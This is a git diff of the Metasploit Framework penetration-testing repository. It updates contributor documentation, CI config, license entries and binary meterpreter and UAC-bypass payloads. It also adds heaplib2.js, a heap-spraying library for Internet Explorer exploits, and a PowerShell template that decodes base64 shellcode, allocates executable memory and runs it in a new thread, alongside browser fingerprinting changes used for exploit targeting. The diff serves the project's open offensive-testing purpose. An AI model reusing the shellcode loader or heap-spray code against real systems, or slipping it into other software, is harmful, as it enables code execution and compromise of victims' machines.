diff --git a/.travis.yml b/.travis.yml index 1ae7e19bcf..6c815d2340 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,11 +1,15 @@ language: ruby +env: MSF_SPOTCHECK_RECENT=1 before_install: + - rake --version - sudo apt-get update -qq - sudo apt-get install -qq libpcap-dev before_script: + - ./tools/msftidy.rb - cp config/database.yml.travis config/database.yml - - rake db:create - - rake db:migrate + - bundle exec rake --version + - bundle exec rake db:create + - bundle exec rake db:migrate rvm: #- '1.8.7' diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 1d6a7b48e9..a376969ddd 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,44 +1,68 @@ # Contributing to Metasploit -## Reporting Bugs +Thanks for your interest in making Metasploit -- and therefore, the +world -- a better place! What you see here in CONTRIBUTING.md is a +bullet-point list of the do's and don'ts of how to make sure *your* +valuable contributions actually make it into Metasploit's master branch. -If you would like to report a bug, please take a look at [our Redmine -issue -tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420) --- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle. +If you care not to follow these rules, your contribution **will** be +closed (*Road House* style). Sorry! -If your bug is new and you'd like to report it you will need to -[register -first](https://dev.metasploit.com/redmine/account/register). Don't -worry, it's easy and fun and takes about 30 seconds. +Incidentally, this is a **short** list. The +[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more +exhaustive and reveals many mysteries. If you read nothing else, take a +look at the standard [development environment setup +guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) +and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes). -When you file a bug report, please include your **steps to reproduce**, -full copy-pastes of Ruby stack traces, and any relevant details about -your environment. Without repro steps, your bug will likely be closed. -With repro steps, your bugs will likely be fixed. +## Code Contributions -## Contributing Metasploit Modules +* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide). +* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages. +* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`. -If you have an exploit that you'd like to contribute to the Metasploit -Framework, please familiarize yourself with the -**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)** -document in the -Metasploit-Framework repository. There are many mysteries revealed in -HACKING concerning code style and content. +### Pull Requests -[Pull requests](https://github.com/rapid7/metasploit-framework/pulls) -should corellate with modules at a 1:1 ratio --- there is rarely a good reason to have two, three, or ten modules on -one pull request, as this dramatically increases the review time -required to land (commit) any of those modules. +* **Do** specify a descriptive title to make searching for your pull request easier. +* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`. +* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable. +* **Don't** leave your pull request description blank. +* **Don't** abandon your pull request. Being responsive helps us land your code faster. -Pull requests tend to be very collaborative for Metasploit -- do not be -surprised if your pull request to rapid7/metasploit-framework triggers a -pull request back to your own fork. In this way, we can isolate working -changes before landing your PR to the Metasploit master branch. +Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow. -To save yourself the embarrassment of committing common errors, you will -want to symlink the `msftidy.rb` utility to your pre-commit hooks by -running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit` -from the top-level directory of your metasploit-framework clone. This -will prevent you from committing modules that raise WARNINGS or ERRORS. +#### New Modules + +* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb). +* **Do** use the [API](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much. +* **Don't** include more than one module per pull request. + +#### Library Code + +* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up. +* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs. +* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code. + +#### Bug Fixes + +* **Do** include reproduction steps in the form of verification steps. +* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description. + +## Bug Reports + +* **Do** report vulnerabilities in Rapid7 software to security@rapid7.com. +* **Do** create a Redmine account and report your bug there. +* **Do** write a detailed description of your bug and use a descriptive title. +* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. +* **Don't** file duplicate reports - search for your bug before filing a new report. +* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead. + +Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow. + +If you need some more guidance, talk to the main body of open +source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4) +or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers) +mailing list. + +Also, **thank you** for taking the few moments to read this far! You're +already way ahead of the curve, so keep it up! diff --git a/HACKING b/HACKING index a0a03362c0..1de1e7cfa1 100644 --- a/HACKING +++ b/HACKING @@ -1,146 +1,38 @@ -# $Id$ +HACKING +======= -This file contains some brief instructions on contributing to the -Metasploit Framework. +(Last updated: 2014-03-04) -Code Style -========== +This document almost entirely deprecated by: -In order to maintain consistency and readability, we ask that you -adhere to the following style guidelines: +CONTRIBUTING.md - - Standard Ruby two-space soft tabs, not hard tabs. - - Try to keep your lines under 100 columns (assuming two-space tabs) - - do; end instead of {} for a block - - Always use str[0,1] instead of str[0] - (This avoids a known ruby 1.8/1.9 incompatibility.) - - Method names should always be lower_case and words separated by "_" - - Variable names should be lower case with words separated by "_" - - Don't depend on any external gems or libraries without talking to - todb to resolve packaging and licensing issues - -You can use the the "./tools/msftidy.rb" script to do some rudimentary -checking for various violations. - - -Code No-Nos -=========== - -1. Don't print to standard output. Doing so means that users of -interfaces other than msfconsole, such as msfrpc and msfgui, won't see -your output. You can use print_line to accomplish the same thing as -puts. - -2. Don't read from standard input, doing so will make your code -lock up the entire module when called from other interfaces. If you -need user input, you can either register an option or expose an -interactive session type specific for the type of exploit. - -3. Always use Rex sockets, not ruby sockets. This includes -third-party libraries such as Net::Http. There are several very good -reasons for this rule. First, the framework doesn't get notified on -the creation of ruby sockets and won't know how to clean them up in -case your module raises an exception without cleaning up after itself. -Secondly, non-Rex sockets do not know about routes and therefore can't -be used through a meterpreter tunnel. Lastly, regular sockets miss -out on msf's proxy and SSL features. Msf includes many protocols -already implemented with Rex and if the protocol you need is missing, -porting another library to use them is straight-forward. See our -Net::SSH modifications in lib/net/ssh/ for an example. - -4. When opening an IO stream, always force binary with "b" mode (or -using IO#binmode). This not only helps keep Windows and non-Windows -runtime environments consistent with each other, but also guarantees -that files will be treated as ASCII-8BIT instead of UTF-8. - -5. Don't use String#[] for a single character. This returns a Fixnum in -ruby 1.8 and a String in 1.9, so it's safer to use the following idiom: - str[idx,1] -which always returns a String. If you need the ASCII byte, unpack it like -so: - tr[idx,1].unpack("C")[0] - -6. Whenever possible, avoid using '+' or '+=' to concatenate strings. -The '<<' operator is significantly faster. The difference will become -even more apparent when doing string manipulation in a loop. The -following table approximates the underlying implementation: - - Ruby Pseudo-C - ----------- ---------------- - a = b + c a = malloc(b.len+c.len+1); - strcpy(a, b); - memcpy(a+b.len, c, c.len); - a[b.len + c.len] = '\0'; - a = b a = b; - a << c a = realloc(a, a.len+c.len+1); - memcpy(a+a.len, c, c.len); - a[a.len + c.len] = '\0'; - -Note that the original value of 'b' is lost in the second case. Care -must be taken to duplicate strings that you do not want to modify. - -7. For other Ruby 1.8.x/1.9.x compat issues, please see Sam Ruby's -excellent slide show at -for an overview of common and not-so-common Ruby version related gotchas. - -8. Never, ever use $global variables. This applies to modules, mixins, -and libraries. If you need a "global" within a specific class, you can -use @@class_variables, but most modules should use @instance variables -to store information between methods. - -9. Don't craft your XML document raw or by using Nokogiri, the current -preferred way is REXML. - -Creating New Modules -==================== - -When creating a new module, the simplest way to start is to copy -another module that uses the same protocol and modify it to your -needs. If you're creating an exploit module, generally you'll want -to edit the exploit() method. Auxiliary Scanner modules use one of -run_host(), run_range(), or run_batch() instead of exploit(). -Non-scanner aux modules use run(). - - -Submitting Your Code -==================== - -To get started with a Metasploit Framework source clone, simply: - - - Fork rapid7/metasploit-framework to your GitHub account - - git clone git://github.com/YourName/metasploit-framework.git - - gem install bundler - - bundle install - -More detailed documentation regarding the process for submitting new -modules via GitHub is documented here: +in the same directory as this file, and to a lesser extent: +The Metasploit Development Environment https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment -This describes the process of forking, editing, and generating a -pull request, and is the preferred method for bringing new modules -and framework enhancements to the attention of the core Metasploit -development team. Note that this process requires a GitHub account. +Common Coding Mistakes +https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes -For Git commits, please adhere to 50/72 formatting: your commits should -start with a line 50 characters or less, followed by a blank line, -followed by one or more lines of explanatory text wrapped at at 72 -characters Pull requests with commits not formatted this way will -be rejected without review. +The Ruby Style Guide +https://github.com/bbatsov/ruby-style-guide -For modules, note that Author field is not automatic, and should be -filled in in the format of 'Your Name ' so future -developers can contact you with any questions. +Ruby 1.9: What to Expect +http://slideshow.rubyforge.org/ruby19.html + +You can use the the "./tools/msftidy.rb" script against your new and +changed modules to do some rudimentary checking for various style and +syntax violations. + +Licensing for Your New Content +============================== -Licensing -========= By submitting code contributions to the Metasploit Project it is assumed that you are offering your code under the Metasploit License -or similar 3-clause BSD-compatible license. MIT and Ruby Licenses +or similar 3-clause BSD-compatible license. MIT and Ruby Licenses are also fine. We specifically cannot include GPL code. LGPL code -is accepted on a case by case basis for libraries only and is never +is accepted on a case by case basis for libraries only and is never accepted for modules. -When possible, such as aux and exploit modules, be sure to include -your license designation in the file in the appropriate place. diff --git a/LICENSE b/LICENSE index 8079572def..a7a86a08e1 100644 --- a/LICENSE +++ b/LICENSE @@ -15,6 +15,10 @@ License: BSD-3-clause # Last updated: 2013-Nov-04 # +Files: data/templates/to_mem_pshreflection.ps1.template +Copyright: 2012, Matthew Graeber +License: BSD-3-clause + Files: data/john/* Copyright: 1996-2011 Solar Designer. License: GPL-2 @@ -147,6 +151,11 @@ Files: modules/payloads/singles/windows/speak_pwned.rb Copyright: 2009-2010 Berend-Jan "SkyLined" Wever License: BSD-3-clause +Files: data/webcam/api.js +Copyright: Copyright 2013 Muaz Khan<@muazkh>. +License: MIT + + # # Gems # diff --git a/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll new file mode 100755 index 0000000000..6745431ff3 Binary files /dev/null and b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll differ diff --git a/data/exploits/cve-2014-1610/metasploit.djvu b/data/exploits/cve-2014-1610/metasploit.djvu new file mode 100644 index 0000000000..eb000fa840 Binary files /dev/null and b/data/exploits/cve-2014-1610/metasploit.djvu differ diff --git a/data/exploits/cve-2014-1610/readme.md b/data/exploits/cve-2014-1610/readme.md new file mode 100644 index 0000000000..cb6dc25c27 --- /dev/null +++ b/data/exploits/cve-2014-1610/readme.md @@ -0,0 +1 @@ +Any DjVu file can be used this is just a snazzy Metasploit one diff --git a/data/js/detect/os.js b/data/js/detect/os.js index cf8269010f..47250c2d32 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -184,6 +184,9 @@ window.os_detect.getVersion = function(){ } else if (platform.match(/arm/)) { // Android and maemo arch = arch_armle; + if (navigator.userAgent.match(/android/i)) { + os_flavor = 'Android'; + } } } else if (platform.match(/windows/)) { os_name = oses_windows; @@ -193,8 +196,7 @@ window.os_detect.getVersion = function(){ if (!ua_version || 0 == ua_version.length) { ua_is_lying = true; } - } else if (!document.all && navigator.taintEnabled || - 'MozBlobBuilder' in window) { + } else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) { // Use taintEnabled to identify FF since other recent browsers // implement window.getComputedStyle now. For some reason, checking for // taintEnabled seems to cause IE 6 to stop parsing, so make sure this @@ -210,7 +212,9 @@ window.os_detect.getVersion = function(){ // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if (css_is_valid('image-orientation', + if (css_is_valid('cursor', 'cursor', 'grab')) { + ua_version = '27.0'; + } else if (css_is_valid('image-orientation', 'imageOrientation', '0deg')) { ua_version = '26.0'; @@ -877,6 +881,18 @@ window.os_detect.getVersion = function(){ os_flavor = "7"; os_sp = "SP1"; break; + case "11016428": + // IE 11.0.9600.16428 / Windows 7 SP1 + ua_version = "11.0"; + os_flavor = "7"; + os_sp = "SP1"; + break; + case "10016384": + // IE 10.0.9200.16384 / Windows 8 x86 + ua_version = "10.0"; + os_flavor = "8"; + os_sp = "SP0"; + break; case "1000": // IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release ua_version = "10.0"; diff --git a/data/js/memory/heaplib2.js b/data/js/memory/heaplib2.js new file mode 100644 index 0000000000..1e2fecf1a0 --- /dev/null +++ b/data/js/memory/heaplib2.js @@ -0,0 +1,192 @@ +//heapLib2 namespace +function heapLib2() { } + +//These are attributes that will not actually create a bstr +//and directly use the back-end allocator, completely bypassing the cache +var global_attrs = ["title", "lang", "class"]; + +heapLib2.ie = function(element, maxAlloc) +{ + //128mb + this.maxAlloc = 0x8000000; + + //make sure that an HTML DOM element is passed + if(!element.nodeType || element.nodeType != 1) + throw "alloc.argument: element not valid"; + + this.element = element; + + if(maxAlloc) + this.maxAlloc = maxAlloc; + + //empty the cache + this.Oleaut32EmptyCache(); + this.Oleaut32FillCache(); + this.Oleaut32EmptyCache(); + +} + +heapLib2.ie.prototype.newelement = function(element) +{ + //make sure that an HTML DOM element is passed + if(!element.nodeType || element.nodeType != 1) + throw "alloc.argument: element not valid"; + + this.element = element; +} + +heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok) +{ + if(typeof(cache_ok)==='undefined') + cache_ok = false; + else + cache_ok = true; + + //make sure the attribute name is a string + if(typeof attr_name != "string") + throw "alloc.argument: attr_name is not a string"; + + //make sure that the attribute name is not already present in the html element + if(this.element.getAttribute(attr_name)) + throw "alloc.argument: element already contains attr_name: " + attr_name; + + //ensure the size is a number + if(typeof size != "number") + throw "alloc.argument: size is not a number: " + size; + + //make sure the size isn't one of the special values + if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000)) + throw "alloc.argument: size cannot be flushed from cache: " + size; + + if(size > this.maxAlloc) + throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; + + //the size must be at a 16-byte boundary this can be commented out but + //the allocations will be rounded to the nearest 16-byte boundary + if(size % 16 != 0) + throw "alloc.argument: size be a multiple of 16: " + size; + + //20-bytes will be added to the size + //<4-byte size><2-byte null> + size = ((size / 2) - 6); + + //May have to change this due to allocation side effects + var data = new Array(size).join(cache_ok ? "C" : "$"); + + var attr = document.createAttribute(attr_name); + this.element.setAttributeNode(attr); + this.element.setAttribute(attr_name, data); + +} + +//These items will allocate/free memory and should really +//only be used once per element. You can use a new element +//by calling the 'newelement' method above +heapLib2.ie.prototype.alloc_nobstr = function(val) +{ + //make sure the aval is a string + if(typeof val != "string") + throw "alloc.argument: val is not a string"; + + var size = (val.length * 2) + 6; + + if(size > this.maxAlloc) + throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; + + var i = 0; + var set_gattr = 0; + for(i = 0; i < global_attrs.length; i++) + { + curr_gattr = global_attrs[i]; + if(!this.element.getAttribute(curr_gattr)) + { + this.element.setAttribute(curr_gattr, ""); + this.element.setAttribute(curr_gattr, val); + set_gattr = 1; + break; + } + } + + if(set_gattr == 0) + throw "alloc_nobstr: all global attributes are assigned, try a new element"; +} + +//completely bypass the cache, useful for heap spraying (see heapLib2_test.html) +heapLib2.ie.prototype.sprayalloc = function(attr_name, str) +{ + //make sure the attribute name is a string + if(typeof attr_name != "string") + throw "alloc.argument: attr_name is not a string"; + + //make sure that the attribute name is not already present in the html element + if(this.element.getAttribute(attr_name)) + throw "alloc.argument: element already contains attr_name: " + attr_name; + + //ensure the size is a number + if(typeof str != "string") + throw "alloc.argument: str is not a string: " + typeof str; + + var size = (str.length * 2) + 6; + + //make sure the size isn't one of the special values + if(size <= 0x8000) + throw "alloc.argument: bigalloc must be greater than 0x8000: " + size; + + if(size > this.maxAlloc) + throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; + + var attr = document.createAttribute(attr_name); + this.element.setAttributeNode(attr); + this.element.setAttribute(attr_name, str); +} + +heapLib2.ie.prototype.free = function(attr_name, skip_flush) +{ + if(typeof(skip_flush)==='undefined') + skip_flush = false; + else + skip_flush = true; + + //make sure that an HTML DOM element is passed + if(!this.element.nodeType || this.element.nodeType != 1) + throw "alloc.argument: element not valid"; + + //make sure the attribute name is a string + if(typeof attr_name != "string") + throw "alloc.argument: attr_name is not a string"; + + //make sure that the attribute name is not already present in the html element + if(!this.element.getAttribute(attr_name)) + throw "alloc.argument: element does not contain attribute: " + attr_name; + + //make sure the cache is full so the chunk returns the general purpose heap + if(!skip_flush) + this.Oleaut32FillCache(); + + this.element.setAttribute(attr_name, null); + + if(!skip_flush) + this.Oleaut32EmptyCache() +} + +heapLib2.ie.prototype.Oleaut32FillCache = function() +{ + for(var i = 0; i < 6; i++) + { + this.free("cache0x20"+i, true); + this.free("cache0x40"+i, true); + this.free("cache0x100"+i, true); + this.free("cache0x8000"+i, true); + } +} + +heapLib2.ie.prototype.Oleaut32EmptyCache = function() +{ + for(var i = 0; i < 6; i++) + { + this.alloc("cache0x20"+i, 0x20, true); + this.alloc("cache0x40"+i, 0x40, true); + this.alloc("cache0x100"+i, 0x100, true); + this.alloc("cache0x8000"+i, 0x8000, true); + } +} \ No newline at end of file diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll index 6122e0d4ec..5d97d4617f 100755 Binary files a/data/meterpreter/elevator.x64.dll and b/data/meterpreter/elevator.x64.dll differ diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll index 4b377f7577..59b71b8b00 100755 Binary files a/data/meterpreter/elevator.x86.dll and b/data/meterpreter/elevator.x86.dll differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll index 36bd78ef87..2c4f278a4b 100755 Binary files a/data/meterpreter/ext_server_espia.x64.dll and b/data/meterpreter/ext_server_espia.x64.dll differ diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll index 8608ac3cb5..34e6757142 100755 Binary files a/data/meterpreter/ext_server_espia.x86.dll and b/data/meterpreter/ext_server_espia.x86.dll differ diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll index aec85861ae..4e3d4728e5 100755 Binary files a/data/meterpreter/ext_server_extapi.x64.dll and b/data/meterpreter/ext_server_extapi.x64.dll differ diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll index 0923879915..e297c627c2 100755 Binary files a/data/meterpreter/ext_server_extapi.x86.dll and b/data/meterpreter/ext_server_extapi.x86.dll differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll index 777f6c3682..278e6dd39e 100755 Binary files a/data/meterpreter/ext_server_incognito.x64.dll and b/data/meterpreter/ext_server_incognito.x64.dll differ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll index 7369f7621a..732977bfae 100755 Binary files a/data/meterpreter/ext_server_incognito.x86.dll and b/data/meterpreter/ext_server_incognito.x86.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll index 4042a413f1..f45475fd86 100755 Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and b/data/meterpreter/ext_server_lanattacks.x64.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll index 372df0a5fa..03bebdfe1e 100755 Binary files a/data/meterpreter/ext_server_lanattacks.x86.dll and b/data/meterpreter/ext_server_lanattacks.x86.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll index 09ec5e887b..1ce9f75e8c 100755 Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and b/data/meterpreter/ext_server_mimikatz.x64.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll index d0c6b54447..4bdc358efe 100755 Binary files a/data/meterpreter/ext_server_mimikatz.x86.dll and b/data/meterpreter/ext_server_mimikatz.x86.dll differ diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index e6629bb4a8..fef0426930 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll index cbdbd29fab..2a69f8e02a 100755 Binary files a/data/meterpreter/ext_server_priv.x64.dll and b/data/meterpreter/ext_server_priv.x64.dll differ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll index 7471006016..d16d2f4280 100755 Binary files a/data/meterpreter/ext_server_priv.x86.dll and b/data/meterpreter/ext_server_priv.x86.dll differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index 4130ece196..a172634dd1 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index 5008d8d9d6..75b7a50a32 100755 Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and b/data/meterpreter/ext_server_sniffer.x64.dll differ diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll index d64f9085a7..1b88ab0fcc 100755 Binary files a/data/meterpreter/ext_server_sniffer.x86.dll and b/data/meterpreter/ext_server_sniffer.x86.dll differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index 4ff3fbdcc1..e9e73d42db 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll index 8c539121e9..45845edb63 100755 Binary files a/data/meterpreter/ext_server_stdapi.x64.dll and b/data/meterpreter/ext_server_stdapi.x64.dll differ diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll index 0aa9e3f520..9f21e8379b 100755 Binary files a/data/meterpreter/ext_server_stdapi.x86.dll and b/data/meterpreter/ext_server_stdapi.x86.dll differ diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 211d9f94c3..87c9a62516 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -158,15 +158,10 @@ class STDProcessBuffer(threading.Thread): self.data_lock = threading.RLock() def run(self): - while self.is_alive(): - byte = self.std.read(1) + for byte in iter(lambda: self.std.read(1), ''): self.data_lock.acquire() self.data += byte self.data_lock.release() - data = self.std.read() - self.data_lock.acquire() - self.data += data - self.data_lock.release() def is_read_ready(self): return len(self.data) != 0 diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll index 6dc9743a18..6dddf1056a 100755 Binary files a/data/meterpreter/metsrv.x64.dll and b/data/meterpreter/metsrv.x64.dll differ diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll index aeb272a4b6..e5c7373f56 100755 Binary files a/data/meterpreter/metsrv.x86.dll and b/data/meterpreter/metsrv.x86.dll differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index 2d3eaeacc4..2f6cffe02f 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll index 5b95b74cd4..91f123da9c 100755 Binary files a/data/meterpreter/screenshot.x64.dll and b/data/meterpreter/screenshot.x64.dll differ diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll index 1b47d33810..c35ccb08bf 100755 Binary files a/data/meterpreter/screenshot.x86.dll and b/data/meterpreter/screenshot.x86.dll differ diff --git a/data/post/bypassuac-x64.dll b/data/post/bypassuac-x64.dll new file mode 100755 index 0000000000..079b16ce11 Binary files /dev/null and b/data/post/bypassuac-x64.dll differ diff --git a/data/post/bypassuac-x64.exe b/data/post/bypassuac-x64.exe index 8ac912bb3e..b84c02bb14 100755 Binary files a/data/post/bypassuac-x64.exe and b/data/post/bypassuac-x64.exe differ diff --git a/data/post/bypassuac-x86.dll b/data/post/bypassuac-x86.dll new file mode 100755 index 0000000000..6b42302e3d Binary files /dev/null and b/data/post/bypassuac-x86.dll differ diff --git a/data/post/bypassuac-x86.exe b/data/post/bypassuac-x86.exe index b0fbb1639e..1746051ef5 100755 Binary files a/data/post/bypassuac-x86.exe and b/data/post/bypassuac-x86.exe differ diff --git a/data/templates/scripts/to_mem_pshreflection.ps1.template b/data/templates/scripts/to_mem_pshreflection.ps1.template new file mode 100644 index 0000000000..d1a83daf0c --- /dev/null +++ b/data/templates/scripts/to_mem_pshreflection.ps1.template @@ -0,0 +1,27 @@ +function %{func_get_proc_address} { + Param ($%{var_module}, $%{var_procedure}) + $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') + + return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure})) +} + +function %{func_get_delegate_type} { + Param ( + [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters}, + [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void] + ) + + $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed') + $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed') + + return $%{var_type_builder}.CreateType() +} + +[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}") + +$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40) +[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length) + +$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero) +[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null \ No newline at end of file diff --git a/data/templates/template_x64_windows.dll b/data/templates/template_x64_windows.dll index ac1106c823..9c524a6a98 100755 Binary files a/data/templates/template_x64_windows.dll and b/data/templates/template_x64_windows.dll differ diff --git a/data/templates/template_x86_windows.dll b/data/templates/template_x86_windows.dll index 27041fae57..a44e2dc650 100755 Binary files a/data/templates/template_x86_windows.dll and b/data/templates/template_x86_windows.dll differ diff --git a/data/webcam/answerer.html b/data/webcam/answerer.html new file mode 100644 index 0000000000..dadb7e32f5 --- /dev/null +++ b/data/webcam/answerer.html @@ -0,0 +1,193 @@ + + +webcam_chat + + + + + + +
+
+
+
+
+
+ Session status (=RHOST=):

+ +
+
